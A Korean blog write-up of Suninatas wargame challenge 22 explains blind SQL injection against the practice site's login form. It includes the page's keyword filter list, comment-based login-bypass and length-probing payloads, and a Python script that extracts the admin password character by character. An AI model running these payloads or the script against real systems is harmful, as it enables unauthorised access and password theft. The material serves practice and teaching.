일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- Web
- 치트엔진
- Couldn't in
- Basic RCE
- 시스템
- 포렌식
- 워게임풀이
- 치트엔진 튜토리얼 게임
- suninatas
- 리버싱
- 오토잇디컴파일
- BasicRCE
- xcz.kr
- wargame.kr
- CodeEngn
- 1번문제
- xcz.kr prob
- 치트엔진 튜토리얼
- WTF_CODE
- 6번문제
- CheatEngine Tutorial
- 써니나타스
- 워게임
- WarGame
- reversing
- xcz.kr 문제풀이
- cheatengine
- 8번문제
- 3번문제
- Couldn't invoke the file
- Today
- Total
HackChang
[Suninatas] 써니나타스 22번 문제 풀이 본문
* Blind SQL Injection : SQL인젝션과 동일하지만, 오류가 출력되지 않을 때 사용할 수 있는 기법이다. 한 문자씩 추출해서 DB의 정보를 알아낼 수 있는 특징이 있다.
이번 문제는 Blind SQL Injection 문제다.
해당 페이지의 소스를 보도록 하겠다.
<!DOCTYPE html>
<html>
<head>
<title>Game 22</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel="shortcut icon" href="/static/img/game.ico" />
</head>
<body>
<form method="get" action="./web22.asp">
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<table width="400" cellpadding="0" cellspacing="0" align="center">
<tr height="30">
<td width="200" class="table_top" align="center">
<input type="button" name="main_btn" value="main" style="width: 60" onclick="location.href = '/'"></td>
<td width="200" class="table_top" align="center">
<input type="button" name="main_btn" value="Back" style="width: 60" onclick="history.back()"></td>
</tr>
<tr height="30" class="table_main">
<td width="120" align="center" bgcolor="cccccc"><font size="2"><b>   id</b></font></td>
<td width="280" align="center" bgcolor="cccccc">
<input type="text" name="id" style="width: 230"></td>
</tr>
<tr height="30" class="table_main">
<td align="center" bgcolor="cccccc"><font size="2"><b>pw</b></font></td>
<td align="center" bgcolor="cccccc">
<input type="password" name="pw" style="width: 230" maxlength="15"></td>
</tr>
<tr height="30">
<td colspan="2" align="center" class="table_top" bgcolor="cccccc">
<input type="button" name="btn" value="Login" onclick="submit()" size="20"></td>
</tr>
<tr class="table_main" height="30">
<td colspan="2" align="center" bgcolor="cccccc">Blind Sql Injection</td>
</tr>
<tr height="30">
<td colspan="2" align="center" class="table_top" bgcolor="cccccc">Filtering Keywords</td>
</tr>
<tr class="table_main" height="30">
<td colspan="2" align="center" bgcolor="cccccc">select / Union / or / white space / by / having
<br>
from / char / ascii / left / right / delay / 0x ..........
</td>
</tr>
</table>
</form>
</body>
</html>
<!-- Hint : guest / guest & Your goal is to find the admin's pw -->
<!-- M@de by 2theT0P -->
제일 아래 힌트로 guest의 아이디와 비밀번호를 제공하고,
우리는 admin의 비밀번호를 찾으면 되는 문제다.
guest/guest부터 로그인해보도록 하겠다.
OK guest라는 문자와 함께 로그인이 된 것을 알 수 있다.
admin/admin으로 로그인해보도록 하겠다.
False
즉, 맞으면 OK name, 틀리면 False라는 문자를 출력한다.
select / Union / or / white space / by / having |
from / char / ascii / left / right / delay / 0x |
위의 문자를 필터링하는 것을 알 수 있고, 필터에 없는 '--' ( 주석 )로 주석처리 해보도록 하겠다.
id - admin'--
pw - 1234
로 입력해서 OK admin이 나온 것을 볼 수 있다.
하지만 우리가 해야할 일은 로그인이 아닌 admin의 비밀번호를 알아내는 것이기 떄문에
조건을 사용해서 admin pw의 길이부터 알아보도록 하겠다.
--가 주석인 것으로 봐서 mssql을 사용했다.
admin'and len(pw)>9-- = True
admin의 pw의 길이는 9보다 크다.
admin'and len(pw)>10-- = False
즉 admin의 pw길이는 10인 것을 알 수 있다.
이제 길이를 알았으니, 한 글자씩 확인해보면 된다.
작성해보면
admin'and substring(pw,1~10,1)='a'~'Z'--
손으로 하나하나 해볼 수 있지만,
많은 시간이 소요될 것이기 떄문에 간단하게
파이썬 코드를 간단하게 작성해보도록 하겠다.
import requests
pw = ''
baseurl = "http://suninatas.com/challenge/web22/web22.asp"
# 첫번째 글자부터 마지막(10)번째 글자까지 서브스트링하기 위해서
for i in range(1,11):
# 아스키 모든 문자로 비교하기 위해서
for j in range(33,128):
url = baseurl+"?id=admin'and unicode(substring(pw,{},1))={}--&pw=1234".format(i,j)
cookies = {'ASPSESSIONIDAACDSAQA':'자신의 세션ID'}
res = requests.get(url=url,cookies=cookies)
# 결과가 True일 때
if res.text.find("OK") != -1:
pw += chr(j)
print(str(i)+" : "+chr(j))
break
print("password : "+pw);
이렇게 패스워드가 나오고, 해당 값으로 인증을 하면 클리어가 된다.
'W4RG4M3 > W3B' 카테고리의 다른 글
[Wargame.kr] 1번 문제 풀이 flee button (0) | 2021.07.23 |
---|---|
[Suninatas] 써니나타스 23번 문제 풀이 (0) | 2020.08.06 |
[Suninatas] 써니나타스 8번 문제 풀이 (0) | 2020.07.31 |
[Suninatas] 써니나타스 7번 문제 풀이 (0) | 2020.07.31 |
[Suninatas] 써니나타스 6번 문제 풀이 (0) | 2020.07.31 |